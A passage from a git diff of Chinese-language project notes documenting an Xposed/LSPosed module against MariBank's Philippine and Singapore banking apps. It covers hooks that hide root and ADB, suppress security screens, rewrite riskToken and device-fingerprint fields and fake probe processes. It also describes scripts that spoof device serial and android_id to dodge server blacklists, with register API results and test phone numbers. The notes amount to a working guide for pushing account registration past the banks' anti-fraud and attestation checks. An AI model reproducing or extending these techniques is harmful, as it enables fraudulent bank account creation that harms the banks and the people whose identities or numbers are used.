**服务端错误码**(logcat 实测):
|
||||
|
||||
|
||||
| code | 含义 |
|
||||
| --------- | ------------------ |
|
||||
| `4067004` | 安全封锁(与 4067012 同类) |
|
||||
| `4067012` | 账户安全临时封锁 |
|
||||
|
||||
|
||||
**客户端弹窗文案**(服务端下发,非本地 Root 弹窗):
|
||||
|
||||
```text
|
||||
For your account's security, this service has been temporarily blocked...
|
||||
(+632) 8424 8050
|
||||
```
|
||||
|
||||
Hook 对含 `temporarily blocked` / `8424 8050` 的 Toast 会 **记录栈**(`logBriefStack`),便于区分本地 vs 服务端弹窗。
|
||||
|
||||
---
|
||||
|
||||
## 5. 遇到的问题(完整清单)
|
||||
|
||||
### 5.1 服务端注册拒绝 — 4067012(2026-07-06 已突破 PH)
|
||||
|
||||
> **更新**:2026-07-06 在 Shamiko + 方案 B + `MariBankSdkUtilsHook` / `MariBankAttestationHook` 下,PH register 返回 **`code=0`,step=BSO,OTP_SMS_TRIGGER 成功**。详见 [`MariBank_2026-07-06_菲律宾突破.md`](MariBank_2026-07-06_菲律宾突破.md)。
|
||||
> 以下内容为 **7 月 3 日** 失败时的记录,保留作对照。
|
||||
|
||||
**现象(2026-07-03)**:
|
||||
|
||||
- 能进入 Sign up 页
|
||||
- 请求发出后弹服务端封锁弹窗
|
||||
- 多个号码(`9178854266`、`9133477799`、`9171243667` 等)均失败
|
||||
|
||||
**logcat**:
|
||||
|
||||
```text
|
||||
POST /uapi/v2/register
|
||||
→ {"code":4067012,"msg":"For your account's security, this service has been temporarily blocked..."}
|
||||
```
|
||||
|
||||
**分析**:
|
||||
|
||||
1. **不是本地 Root 弹窗**——本地 bypass 后已能到达注册页并成功打 DFP
|
||||
2. DFP 成功仅说明 **上报链路通**,不代表服务端认可设备
|
||||
3. riskToken 尾部改掉 **不够**——token 主体可能含加密指纹,或服务端维护设备/号码黑名单
|
||||
4. 多次失败可能 **加重封锁**(建议冷却 24–48h)
|
||||
|
||||
**待验证**:
|
||||
|
||||
- 未 Root 干净机 + 菲律宾 IP + 新号码 → 区分设备封禁 vs 号码封禁
|
||||
- Hook native 加密前明文,看清 register body 到底带了什么
|
||||
|
||||
---
|
||||
|
||||
### 5.2 过早 Hook 导致白屏(libsdkutils 死循环)
|
||||
|
||||
**现象**:App 启动白屏,logcat 反复出现 `SoUtils` / `loadSoLibrary("sdkutils")`。
|
||||
|
||||
**原因**:
|
||||
|
||||
- `loadPackage` 时 split APK 的 ClassLoader **尚未绑定**
|
||||
- 过早 Hook `ShpssInstall`、`vuvuwwwuw` 或完整 SHPSSDK 链 → 干扰 SO 加载顺序
|
||||
|
||||
**解决**:
|
||||
|
||||
- Early 阶段 **只装** `/proc` 过滤 + 反自杀
|
||||
- 等 `BkeApplication.attachBaseContext` 回调后再 `installDeferredHooks`
|
||||
- **永不 Hook** `ShpssInstall` / `vuvuwwwuw`
|
||||
|
||||
---
|
||||
|
||||
### 5.3 不能 Hook RealInterceptorChain.proceed
|
||||
|
||||
**现象**:Hook 后触发 native 硬编码检测,行为异常或加重风控。
|
||||
|
||||
**逆向依据**:`libshpssdk_bank.so` 字符串含 `RealInterceptorChain.proceed`。
|
||||
|
||||
**解决**:改 Hook `OkHttpClient.newCall`、`RealCall.execute`、`RequestBody.writeTo` 等外层点。
|
||||
|
||||
---
|
||||
|
||||
### 5.4 register 请求体无法读取
|
||||
|
||||
**现象**:logcat 始终为:
|
||||
|
||||
```text
|
||||
register request body unreadable (encrypted or one-shot)
|
||||
```
|
||||
|
||||
**原因**:
|
||||
|
||||
- Body 经 `NativeEncryptUtilsWrapper` → native `uvwuvwuv` 加密
|
||||
- 可能是 one-shot `RequestBody`,写入后不可重读
|
||||
|
||||
**影响**:无法在 Java 层确认手机号 JSON 明文内容,也无法在 Xposed 层直接改 register 字段(除 riskToken 出站净化外)。
|
||||
|
||||
**后续方向**:Frida/native Hook `libsdkutils.so` 或 `utils.d` 包装方法。
|
||||
|
||||
---
|
||||
|
||||
### 5.5 wvvvuwwu.vuwuuwvw native 未找到
|
||||
|
||||
**现象**:logcat 出现 native 方法实现找不到的警告。
|
||||
|
||||
**可能原因**:
|
||||
|
||||
- LSPosed 与 Frida/Clash 等环境叠加干扰
|
||||
- 混淆类在不同 split / 版本下位移
|
||||
- Hook 时机与 ClassLoader 边界问题
|
||||
|
||||
**影响**:部分 SHPS native 桥接 Hook 可能未完全生效;但 DFP 已成功,说明主链路部分工作。
|
||||
|
||||
---
|
||||
|
||||
### 5.6 Frida 动态分析失败
|
||||
|
||||
**环境**:Frida 17.15.3 + `/data/local/tmp/frida-server`
|
||||
|
||||
|
||||
| 问题 | 详情 |
|
||||
| --------------- | ------------------------------------------------- |
|
||||
| attach 找不到 Java | 60s 内 `Java.available == false` |
|
||||
| 进程名 | 需用 **MariBank** 而非 `ph.seabank.seabank` |
|
||||
| spawn | native dlopen 可 hook,Java 层 `Java is not defined` |
|
||||
| CLI 退出 | spawn 无保活脚本会立刻 detach |
|
||||
| 与 LSPosed 冲突 | 建议测 Frida 时 **关闭 LSPosed 对 MariBank 作用域** |
|
||||
|
||||
|
||||
**结果**:未抓到 `/register` 明文 body;当日分析 **主要依赖 LSPosed logcat**。
|
||||
|
||||
脚本位置:`reverse/frida/trace_maribank_register.js`、`run_frida_trace.py`
|
||||
|
||||
---
|
||||
|
||||
---
|
||||
|
||||
### 5.7 本地 Root 检测 vs 服务端封锁(易混淆)
|
||||
|
||||
|
||||
| 类型 | 文案特征 | 来源 | 当日状态 |
|
||||
| ------- | -------------------------------------------- | ------------------ | ------------------- |
|
||||
| 本地 Root | `rooted or jailbroken`、`magisk/xposed/frida` | SafeMode / SHPSSDK | **已拦截 Toast,可继续使用** |
|
||||
| 服务端封锁 | `temporarily blocked`、`8424 8050` | API 4067012 响应 | **未绕过** |
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 6. 实测 logcat 参考
|
||||
|
||||
### 6.1 成功片段(DFP + token 净化)
|
||||
|
||||
```text
|
||||
notiMessageHook/MariBankRoot: sanitized riskToken tail 09|1 -> 00|0
|
||||
notiMessageHook/MariBankRoot: HTTP .../dfp/v1/data/report ... code=0
|
||||
```
|
||||
|
||||
### 6.2 失败片段(注册)
|
||||
|
||||
```text
|
||||
notiMessageHook/MariBankRoot: register request body unreadable (encrypted or one-shot)
|
||||
notiMessageHook/MariBankRoot: HTTP .../uapi/v2/register ... code=4067012
|
||||
notiMessageHook/MariBankRoot: security block Toast: For your account's security...
|
||||
```
|
||||
|
||||
### 6.3 推荐过滤命令
|
||||
|
||||
```powershell
|
||||
powershell -File scripts\logcat-maribank.ps1 -Follow
|
||||
|
||||
# 或
|
||||
adb logcat -s notiMessageHook/MariBankRoot:V notiMessageHook/MariBankNative:V
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. 部署与验证
|
||||
|
||||
### 7.1 构建安装
|
||||
|
||||
```powershell
|
||||
powershell -ExecutionPolicy Bypass -File scripts\build-debug.ps1
|
||||
powershell -ExecutionPolicy Bypass -File scripts\install-debug.ps1
|
||||
```
|
||||
|
||||
### 7.2 LSPosed 作用域
|
||||
|
||||
必须勾选:
|
||||
|
||||
- `ph.seabank.seabank`(MariBank)
|
||||
- `com.miraclegarden.smsmessage`(主 App)
|
||||
- Xposed 模块自身
|
||||
|
||||
修改 Hook 后:**强制停止 MariBank** 再冷启动。
|
||||
|
||||
### 7.3 测试路径
|
||||
|
||||
**注册(当日已测)**
|
||||
|
||||
```
|
||||
Sign up → 输入 10 位菲律宾号码(如 9XXXXXXXXX)→ Next
|
||||
观察 logcat 中 /dfp 与 /register 响应
|
||||
```
|
||||
|
||||
**登录(当日未测,供对照)**
|
||||
|
||||
```
|
||||
Log in → 输入已开户手机号 → 继续
|
||||
观察 /v2/auth/precheck、/login/otp/* 或 /pin/auth 响应
|
||||
详见 §2.4
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. 已知限制
|
||||
|
||||
1. **仅改 riskToken 尾部**不足以通过服务端 register 校验
|
||||
2. **register body 加密**,Java Hook 无法读明文、难改字段
|
||||
3. **RealInterceptorChain** 等 SO 检测点不可 Hook
|
||||
4. **ShpssInstall** 不可 Hook,限制 SO 加载链上的干预手段
|
||||
5. **Frida** 在当前 App 上 Java 桥不稳定
|
||||
6. **多次失败** 可能导致号码/设备进入服务端黑名单
|
||||
7. **登录流程未实测**;若设备已被 4067012 封锁,登录很可能同样失败(见 §2.4)
|
||||
|
||||
---
|
||||
|
||||
## 9. 后续工作建议
|
||||
|
||||
|
||||
| 优先级 | 方向 | 说明 |
|
||||
| --- | -------------- | ---------------------------------------- |
|
||||
| P0 | 对照实验 | 干净机 + PH IP + 新号,确认封禁维度;**有老户时可对比登录 precheck** |
|
||||
| P1 | Native 明文 Hook | `utils.d` / `libsdkutils.so` 加密前抓包 |
|
||||
| P2 | riskToken 全链 | 不仅尾部,需理解 pipe 各段含义及 DFP 载荷 |
|
||||
| P3 | Frida 环境 | 无 LSPosed 冲突、或 Zygisk 隐藏 Frida 后再 attach |
|
||||
| P4 | 停试冷却 | 已失败号码/设备 24–48h 内勿反复请求 |
|
||||
| — | 官方渠道 | (+632) 8424 8050 |
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 10. 相关文件索引
|
||||
|
||||
|
||||
| 路径 | 说明 |
|
||||
| ----------------------------------------------- | --------------------- |
|
||||
| `xposed-module/.../MariBankRootBypassHook.java` | Java 层主 Hook(~1700 行) |
|
||||
| `xposed-module/.../MariBankShpsNativeHook.java` | Native/proc 层 Hook |
|
||||
| `xposed-module/.../MariBankRiskTokenUtil.java` | Token 净化 |
|
||||
| `xposed-module/.../MainHook.java` | 包名路由 |
|
||||
| `reverse/frida/jni_targets.md` | JNI / Frida 目标 |
|
||||
| `reverse/frida/trace_maribank_register.js` | Frida trace 脚本 |
|
||||
| `scripts/logcat-maribank.ps1` | logcat 过滤 |
|
||||
| `scripts/start-mari-trace.ps1` | Frida + logcat 联启 |
|
||||
| `docs/工作日志_2026-07-03.md` | 当日全项目工作汇总 |
|
||||
| `docs/MariBank_2026-07-06_菲律宾突破.md` | PH OTP 突破 + SG 现状 |
|
||||
| `docs/MariBank风控与载荷说明.md` | register 字段、afExtInfo、USB 调试 |
|
||||
| `docs/手机操作手册.md` | Root 机部署与日常操作 |
|
||||
|
||||
|
||||
---
|
||||
|
||||
*文档版本:2026-07-03 · 对应 commit 分支 `ysc`*
|
||||
139
docs/MariBank新加坡突破.md
Normal file
139
docs/MariBank新加坡突破.md
Normal file
@@ -0,0 +1,139 @@
|
||||
# MariBank 新加坡注册突破计划(2026-07-06)
|
||||
|
||||
> **现状**:PH ✅ OTP(`code=0`);SG ❌ **3100012**(`api.maribank.com.sg`)
|
||||
> **关联**:[`MariBank_2026-07-06_菲律宾突破.md`](MariBank_2026-07-06_菲律宾突破.md) · [`MariBank新加坡逆向.md`](MariBank新加坡逆向.md) · [`MariBank风控与载荷说明.md`](MariBank风控与载荷说明.md)
|
||||
|
||||
---
|
||||
|
||||
## 1. 问题定位
|
||||
|
||||
| 层级 | SG 状态 | 说明 |
|
||||
|------|---------|------|
|
||||
| 本地 Root / ADB 页 | ✅ 可 bypass | 能进注册页、点 Next |
|
||||
| DFP 上报 | ✅ 通常 `code=0` | 只表示收到,不等于注册过 |
|
||||
| `deviceFingerprint` 尾部 | ✅ 已 `\|00\|0` | Java 层净化生效 |
|
||||
| **`rdVerifyInfo.data` / `dataKey`** | ❌ 服务端拒 | **3100012 主因** |
|
||||
| 干净机 `25078RA3EY` | ✅ 关 USB 调试可 OTP | 无 LSPosed |
|
||||
|
||||
**结论**:SG 卡在 **native attestation 密文 + 区域风控**,不是再堆本地弹窗拦截。
|
||||
|
||||
---
|
||||
|
||||
## 2. 与 PH 的差异(实测 + 逆向)
|
||||
|
||||
| 维度 | PH | SG |
|
||||
|------|----|----|
|
||||
| API | `api.seabank.ph` | `api.maribank.com.sg` |
|
||||
| 错误码 | 4067012 | **3100012** |
|
||||
| App 版本 | 3.22.0 | 3.2.2 |
|
||||
| 国家码 `cyCode` | 63 | **65** |
|
||||
| 本地 ADB 检测 | 较弱 | **RISK_USB_ADB / RISK_WIFI_ADB** |
|
||||
| 服务端 strictness | 7/6 已通过 | **更严** |
|
||||
| 设备黑名单 | 较少 | Pixel 6 多次测 SG 可能已标记 |
|
||||
|
||||
---
|
||||
|
||||
## 3. 本轮代码改动(2026-07-06)
|
||||
|
||||
| 改动 | 目的 |
|
||||
|------|------|
|
||||
| **`ProbeGuard`** | `ProcessBuilder` / `Runtime.exec` 返回假进程,**不再抛 SecurityException**(避免 SHPSSDK 记 tamper) |
|
||||
| **`MariBankAttestationHook`** | 增加 `vvuuuuvvv`、`uvuwwuvwv.uvwwuuvvw` attestation 类 Hook |
|
||||
| **`MariBankShpsNativeHook`** | native-core 增加 `vvuuuuvvv` |
|
||||
| **`MariBankRegisterPayloadUtil`** | 加密前 log:`cyCode`、`dataLen`、`dataKeyLen`、`fpTail` |
|
||||
|
||||
---
|
||||
|
||||
## 4. 推荐测试流程(Root 机)
|
||||
|
||||
### 4.1 每次测 SG 前(降低黑名单概率)
|
||||
|
||||
```powershell
|
||||
cd C:\Users\Administrator\Desktop\notiMessage
|
||||
|
||||
# 1. 编译安装最新 Hook
|
||||
.\scripts\build-debug.ps1
|
||||
.\scripts\install-debug.ps1
|
||||
|
||||
# 2. 新设备 ID(保持 USB 调试,便于继续 adb)
|
||||
.\scripts\maribank-sg-register.ps1 -NewIdentity -KeepAdb
|
||||
|
||||
# 3. 上机测 SG 前再关 USB 调试(会断开 PC adb,属预期)
|
||||
.\scripts\maribank-sg-register.ps1 -DisableUsbDebug
|
||||
```
|
||||
|
||||
### 4.2 手机侧
|
||||
|
||||
> **LSPosed 里两个都叫「MariBank」**:菲律宾 `ph.seabank.seabank`(v3.22.0)与新加坡 `sg.com.maribankmobile.digitalbank`(v3.2.2)桌面名相同,从 LSPosed 作用域点开会容易进错。**请认包名**,或 PC 执行 `.\scripts\launch-maribank-sg.ps1` 直接打开新加坡版。log 里应出现 `api.maribank.com.sg`,若全是 `api.seabank.ph` 说明开的是菲律宾 App。
|
||||
|
||||
1. LSPosed:模块启用,作用域含 **`sg.com.maribankmobile.digitalbank`**
|
||||
2. **软重启** MariBank SG(不是只杀进程)
|
||||
3. Shamiko + DenyList 勾选 SG 全部进程,**Enforce=OFF**
|
||||
4. (建议)**关闭 VPN**
|
||||
5. Sign up → 新加坡手机号 → **Next**
|
||||
|
||||
### 4.3 抓 log
|
||||
|
||||
```powershell
|
||||
.\scripts\maribank-sg-register.ps1 -CaptureLog -KeepAdb
|
||||
```
|
||||
|
||||
> **注意**:旧版脚本默认会关 USB 调试,导致 PC 立刻 `no devices`。抓 log 必须加 **`-KeepAdb`**,或先在手机上重新打开 USB 调试。
|
||||
|
||||
关注:
|
||||
|
||||
```text
|
||||
MariBankRegister: register summary cy=65 scene=REGISTRATION step=BE fpTail=00|0 dataLen=... dataKeyLen=...
|
||||
MariBankRoot HTTP .../uapi/v2/register ... code=0 ← 成功
|
||||
MariBankRoot HTTP .../uapi/v2/register ... code=3100012 ← 仍失败
|
||||
ProbeGuard: fake probe process ← 探针已静默拦截
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. 若仍 3100012 — 按优先级排查
|
||||
|
||||
| 优先级 | 动作 | 原因 |
|
||||
|--------|------|------|
|
||||
| P0 | **换新 serial + android_id**(`-NewIdentity`) | SG 可能设备级黑名单 |
|
||||
| P0 | **关 USB 调试 + 无线调试** | 干净机对照:开调试本地 ADB 页;服务端 SG 更严 |
|
||||
| P0 | **关 VPN** | 截图曾见 VPN 图标,可能进 risk |
|
||||
| P1 | diff PH vs SG 同机 `register summary` | 对比 `dataLen`、fingerprint 段 |
|
||||
| P1 | 用 **未测过 SG 的干净机** 注册一次 | 分离「设备黑」vs「Root 载荷不可过」 |
|
||||
| P2 | Play Integrity / PIF 模块是否生效 | SG 可能校验 attestation 内 integrity |
|
||||
| P3 | native hook `libshpssdk_bank.so` 生成链 | Java 层改不了 `data` 密文内容 |
|
||||
|
||||
---
|
||||
|
||||
## 6. 成功标准
|
||||
|
||||
```json
|
||||
POST https://api.maribank.com.sg/uapi/v2/register
|
||||
→ {"code":0,"msg":"success","data":{"scene":"REGISTRATION","step":"BSO",...}}
|
||||
```
|
||||
|
||||
随后 App 进入 **OTP 短信** 步骤(与 PH 相同 step 流转)。
|
||||
|
||||
---
|
||||
|
||||
## 7. 禁止操作
|
||||
|
||||
与 PH 相同,会导致白屏 / RN 崩溃:
|
||||
|
||||
- Hook `System.loadLibrary`
|
||||
- Hook `RealInterceptorChain.proceed`
|
||||
- 过早 Hook `ShpssInstall` / `vuvuwwwuw`
|
||||
|
||||
---
|
||||
|
||||
## 8. 相关脚本
|
||||
|
||||
| 脚本 | 用途 |
|
||||
|------|------|
|
||||
| `scripts/maribank-sg-register.ps1` | SG 测前准备 + 抓 log |
|
||||
| `scripts/maribank-spoof-device.ps1 -NewIdentity` | 换 serial / android_id |
|
||||
| `scripts/maribank-scheme-b-finish.ps1` | LSPosed 作用域 + pm clear |
|
||||
|
||||
---
|
||||
|
||||
*最后更新:2026-07-06*
|
||||
217
docs/MariBank新加坡逆向.md
Normal file
217
docs/MariBank新加坡逆向.md
Normal file
@@ -0,0 +1,217 @@
|
||||
# MariBank 新加坡版逆向报告
|
||||
|
||||
> **日期**:2026-07-06
|
||||
> **设备**:Pixel 6(已 Root + LSPosed + ADB 开启)
|
||||
> **APK 来源**:从本机 pull,`reverse/apks/maribank_sg_*.apk`
|
||||
|
||||
---
|
||||
|
||||
## 1. 基本信息
|
||||
|
||||
| 项 | 值 |
|
||||
|----|-----|
|
||||
| **包名** | `sg.com.maribankmobile.digitalbank` |
|
||||
| **显示名** | MariBank(新加坡) |
|
||||
| **版本** | 3.2.2(versionCode **30220**) |
|
||||
| **对比 PH 版** | `ph.seabank.seabank` · v3.22.0 (32200) |
|
||||
| **API 域名** | `https://api.maribank.com.sg`(staging: `api.staging.maribank.com.sg`) |
|
||||
| **Application** | `com.shopee.bke.digitalbank.BkeApplication`(与 PH **相同**) |
|
||||
|
||||
本地 APK:
|
||||
|
||||
```
|
||||
reverse/apks/maribank_sg_base.apk
|
||||
reverse/apks/maribank_sg_arm64.apk → SO 在 reverse/extracted/native/
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. 截图现象(你当前遇到的)
|
||||
|
||||
启动后出现 **两层拦截**:
|
||||
|
||||
| 现象 | 类型 | 说明 |
|
||||
|------|------|------|
|
||||
| 全屏 **「ADB/Wireless ADB Detected」** | 环境检测页 | 文案 key:`bke_title_adb_wirelessadb_control`、`bke_btn_turn_off_adb_wireless_adb` |
|
||||
| Toast **「Does not support root device」** | Root 检测 | SHPSSDK / SafeMode 典型提示 |
|
||||
|
||||
**含义**:
|
||||
|
||||
1. **ADB 检测** 与 **Root 检测** 是 **独立项**——新加坡版在 PH 版基础上 **明显加强了 USB/无线调试检测**。
|
||||
2. 状态栏 **VPN 小钥匙** 可能额外触发 `RISK_*` 或网络风控(需 logcat 确认)。
|
||||
3. 当前 **PH 版 Xposed Hook 未作用到 SG 包名**(只 Hook `ph.seabank.seabank`),所以 SG 版 **完全未 bypass**。
|
||||
|
||||
**临时验证(无 Hook)**:关闭 **USB 调试 + 无线调试** 后冷启动,可确认 ADB 页是否消失;Root Toast 仍会存在。
|
||||
|
||||
---
|
||||
|
||||
## 3. 技术栈对比(SG vs PH)
|
||||
|
||||
| 组件 | SG 3.2.2 | PH 3.22.0 | 结论 |
|
||||
|------|----------|-----------|------|
|
||||
| Shopee BKE | ✅ | ✅ | 同框架 |
|
||||
| `BkeApplication` | ✅ | ✅ | Hook 时机相同(`attachBaseContext` 后) |
|
||||
| SafeMode | `com.shopee.bke.lib.safemode.b` 等 | 相同 | 可复用 boolean Hook |
|
||||
| `SafeModeRecoverActivity` | ✅ | ✅ | Root 弹窗/恢复页 |
|
||||
| SHPSSDK Bank | `com.shopee.shpssdkbank.SHPSSDK` | 相同 | 可复用 riskToken / requestDefense 链 |
|
||||
| Native SO | `libshpssdk_bank.so`、`libsdkutils.so`、`libbkutils.so` | 相同 | SG 额外有 **`libshpssdk.so`** |
|
||||
| 字符串解密 | `uvuwwuvwv.uvwwuuvvw` | 相同 | 混淆包名可能不同 |
|
||||
|
||||
**结论**:SG 与 PH 是 **同一套 Shopee 银行 SDK**,PH 上已写的 Hook **大部分可迁移**,需改 **包名** 并 **补充 ADB 风控**。
|
||||
|
||||
---
|
||||
|
||||
## 4. 新加坡版新增:ADB / 无线调试检测
|
||||
|
||||
### 4.1 SHPSSDK 风险常量(DEX 内)
|
||||
|
||||
```
|
||||
RISK_USB_ADB ← USB 调试
|
||||
RISK_WIFI_ADB ← 无线调试
|
||||
RISK_ADB
|
||||
RISK_ROOT
|
||||
RISK_HOOK
|
||||
RISK_DEBUG
|
||||
RISK_DEVELOPER_MODE
|
||||
RISK_EMULATOR
|
||||
...
|
||||
```
|
||||
|
||||
与截图中 **ADB 拦截页 + Root Toast** 对应。
|
||||
|
||||
### 4.2 UI 字符串(资源 key)
|
||||
|
||||
| Key | 用途 |
|
||||
|-----|------|
|
||||
| `bke_title_adb_wirelessadb_control` | 标题「ADB/Wireless ADB Detected」 |
|
||||
| `bke_btn_turn_off_adb_wireless_adb` | 按钮「Turn Off ADB/Wireless ADB」 |
|
||||
| `bke_desc_explain_detect_adb_1/2` | 说明文案 |
|
||||
| `bke_desc_safeguard_bank_app_from_adb_wirelessadb_1/2` | 安全说明 |
|
||||
| `AdbDetected` / `WifiAdbDetected` | RN / 业务路由标识 |
|
||||
|
||||
### 4.3 检测思路(推断)
|
||||
|
||||
1. **Settings.Global** / `adb_enabled`、无线调试相关属性
|
||||
2. SHPSSDK `getRiskSync` → 命中 `RISK_USB_ADB` / `RISK_WIFI_ADB`
|
||||
3. 进入 **ADB 专用拦截 UI**(非仅 SafeModeRecoverActivity)
|
||||
4. Root 仍走 `RISK_ROOT` → Toast「Does not support root device」
|
||||
|
||||
---
|
||||
|
||||
## 5. API 与登录(SG)
|
||||
|
||||
PH 实测重点为 `POST /uapi/v2/register`;SG DEX 内可见:
|
||||
|
||||
| 类型 | 路径示例 |
|
||||
|------|----------|
|
||||
| 登录 | `/v3/login`、`/v4/login`、`/v2/login/bke/linkage` |
|
||||
| 注册 | `/v2/register` |
|
||||
| 登录前 | `/v1/list/latest-notice/pre-login` |
|
||||
| 人脸 | `/v3/login/facial/verification` |
|
||||
| DFP | `/dfp/`(与 PH 同类) |
|
||||
| 通用 uapi | `/uapi/`(47 处引用) |
|
||||
|
||||
**Host**:`https://api.maribank.com.sg`(非 PH 的 `api.seabank.ph`)。
|
||||
|
||||
---
|
||||
|
||||
## 6. Native 库(arm64 split)
|
||||
|
||||
已从 `maribank_sg_arm64.apk` 解出至 `reverse/extracted/native/`,与风控相关:
|
||||
|
||||
| SO | 大小(约) | 作用 |
|
||||
|----|-----------|------|
|
||||
| `libshpssdk_bank.so` | 8.5 MB | SHPSSDK 银行风控、riskToken |
|
||||
| `libshpssdk.so` | 6.3 MB | **SG 额外**(PH 侧以 bank 为主) |
|
||||
| `libsdkutils.so` | 789 KB | 注册/body 加密 |
|
||||
| `libbkutils.so` | 102 KB | JNI 工具 |
|
||||
| `libmemory_security.so` | 3.8 MB | 内存/安全相关 |
|
||||
|
||||
---
|
||||
|
||||
## 7. 与现有 Xposed 模块的关系
|
||||
|
||||
当前 `MariBankRootBypassHook` / `MariBankShpsNativeHook` **仅绑定**:
|
||||
|
||||
```java
|
||||
public static final String PACKAGE = "ph.seabank.seabank";
|
||||
```
|
||||
|
||||
**SG 包名未纳入**,因此截图中的拦截 **预期行为**。
|
||||
|
||||
### 7.1 可复用(改包名即可试)
|
||||
|
||||
- SafeMode boolean Hook(`safemode.b` 等)
|
||||
- `Process.killProcess` / `finishAffinity` 反自杀
|
||||
- `/proc/self/maps` 过滤、`SystemProperties` 伪装
|
||||
- SHPSSDK `getRiskSync` 清空、`getRiskToken` 净化
|
||||
- OkHttp 出站 riskToken 净化
|
||||
|
||||
**已实现(2026-07-06)**:`MariBankRootBypassHook` 已支持 `sg.com.maribankmobile.digitalbank`,含 ADB Settings 伪装、ADB 全屏页 finish、Root/ADB Toast 拦截。
|
||||
|
||||
### 7.2 SG 专用(已部分实现)
|
||||
|
||||
| 项 | 状态 |
|
||||
|----|------|
|
||||
| **包名** | ✅ `MainHook` + `arrays.xml` |
|
||||
| **ADB 风险** | ✅ `Settings.Global/Secure` adb 键 → 0;`init.svc.adbd` → stopped |
|
||||
| **ADB 拦截页** | ✅ `Activity.onResume` 检测 ADB 文案后 `finish()` |
|
||||
| **Root Toast** | ✅ 「Does not support root device」 |
|
||||
|
||||
### 7.3 不建议照搬 PH 服务端结论
|
||||
|
||||
PH 的 **4067012** 是 **菲律宾服务端** 结论;SG 需单独测 `api.maribank.com.sg`。
|
||||
|
||||
---
|
||||
|
||||
## 8. 逆向脚本
|
||||
|
||||
```powershell
|
||||
# 已从手机 pull APK 后可本地扫描
|
||||
python reverse/scripts/scan_maribank_sg.py
|
||||
python reverse/scripts/find_sg_adb_strings.py
|
||||
python reverse/scripts/find_sg_adb_classes.py
|
||||
python reverse/scripts/list_safemode.py reverse/apks/maribank_sg_base.apk
|
||||
```
|
||||
|
||||
从手机 pull(已执行过):
|
||||
|
||||
```powershell
|
||||
adb shell pm path sg.com.maribankmobile.digitalbank
|
||||
adb pull <base.apk> reverse/apks/maribank_sg_base.apk
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. 建议下一步(2026-07-06 更新)
|
||||
|
||||
1. ~~LSPosed 增加 SG 包名~~ ✅ 已完成
|
||||
2. ~~扩展 ADB bypass~~ ✅ 已完成
|
||||
3. **SG**:diff PH/SG register 明文;修复 ProcessBuilder 异常;仍 3100012 则试干净机
|
||||
4. **PH**:走完 OTP → 开户全流程,确认稳定性
|
||||
5. logcat:`MariBankEncrypt in0 byte`、`3100012`、`OTP_SMS`
|
||||
|
||||
---
|
||||
|
||||
## 10. 实测状态(2026-07-06)
|
||||
|
||||
| 包 | 注册 API | 结果 |
|
||||
|----|----------|------|
|
||||
| `ph.seabank.seabank` | `api.seabank.ph/uapi/v2/register` | ✅ **code=0 → OTP** |
|
||||
| `sg.com.maribankmobile.digitalbank` | `api.maribank.com.sg/uapi/v2/register` | ❌ **3100012** |
|
||||
|
||||
完整说明:[`MariBank_2026-07-06_菲律宾突破.md`](MariBank_2026-07-06_菲律宾突破.md)
|
||||
|
||||
---
|
||||
|
||||
## 11. 相关文档
|
||||
|
||||
| 文档 | 说明 |
|
||||
|------|------|
|
||||
| [`MariBank_2026-07-06_菲律宾突破.md`](MariBank_2026-07-06_菲律宾突破.md) | **PH OTP 突破 + SG 现状 + 方案 B** |
|
||||
| [`MariBank实现说明.md`](MariBank实现说明.md) | PH Hook 实现与问题清单 |
|
||||
| [`工作日志_2026-07-03.md`](工作日志_2026-07-03.md) | PH 版 7/3 工作记录 |
|
||||
|
||||
---
|
||||
|
||||
*记录日期:2026-07-06 · 最后更新:菲律宾 OTP 突破*
|
||||
215
docs/MariBank风控与载荷说明.md
Normal file
215
docs/MariBank风控与载荷说明.md
Normal file
@@ -0,0 +1,215 @@
|
||||
# MariBank 风控与注册载荷说明
|
||||
|
||||
> 客户端检测分层、register 请求字段含义、菲律宾突破原因、USB 调试与 Hook 关系。
|
||||
> 关联:[`MariBank_2026-07-06_菲律宾突破.md`](MariBank_2026-07-06_菲律宾突破.md) · [`MariBank实现说明.md`](MariBank实现说明.md) · [`手机操作手册.md`](手机操作手册.md)
|
||||
|
||||
---
|
||||
|
||||
## 1. 风控两层模型
|
||||
|
||||
| 层级 | 谁在做 | 失败表现 | bypass 方式 |
|
||||
|------|--------|----------|-------------|
|
||||
| **客户端本地** | SafeMode、SHPSSDK、SG ADB 页 | 弹窗、全屏拦截、自杀 | Xposed boolean / Settings / finish Activity |
|
||||
| **服务端** | `api.seabank.ph` / `api.maribank.com.sg` | 4067012 / 3100012 | 让出站 attestation「够干净」+ 区域策略 |
|
||||
|
||||
**DFP `code=0` 只表示上报收到,不等于注册会通过。**
|
||||
|
||||
干净机对照(25078RA3EY):**开 USB 调试 → SG 本地 ADB 页;关调试 → SG OTP 可过**。说明本地检测与服务端决策 **相互独立**。
|
||||
|
||||
---
|
||||
|
||||
## 2. 注册请求载荷结构(App 发出)
|
||||
|
||||
加密前 JSON(`MariBankEncrypt` / `uvwuvwuv.uvwvuww` 入口)典型结构:
|
||||
|
||||
```json
|
||||
{
|
||||
"cyCode": "63",
|
||||
"phone": "<RSA 加密>",
|
||||
"scene": "REGISTRATION",
|
||||
"step": "BE",
|
||||
"rdVerifyInfo": {
|
||||
"bioStatus": 0,
|
||||
"data": "<SHPSSDK native attestation 密文>",
|
||||
"dataKey": "<attestation 密钥>",
|
||||
"deviceFingerprint": "段1|段2|段3|00|0",
|
||||
"fvInfo": {},
|
||||
"afExtInfo": {
|
||||
"modeInCall": "N",
|
||||
"modeInCommunication": "N",
|
||||
"modeCallScreening": "N"
|
||||
},
|
||||
"publicKeyAuthen": "pk2",
|
||||
"random": "...",
|
||||
"softTokenActivated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
流程:**App 本地采集 → 拼 JSON → native 加密 → POST `/uapi/v2/register`**
|
||||
|
||||
---
|
||||
|
||||
## 3. 字段说明
|
||||
|
||||
### 3.1 `deviceFingerprint`
|
||||
|
||||
pipe 分隔字符串,示例:
|
||||
|
||||
```text
|
||||
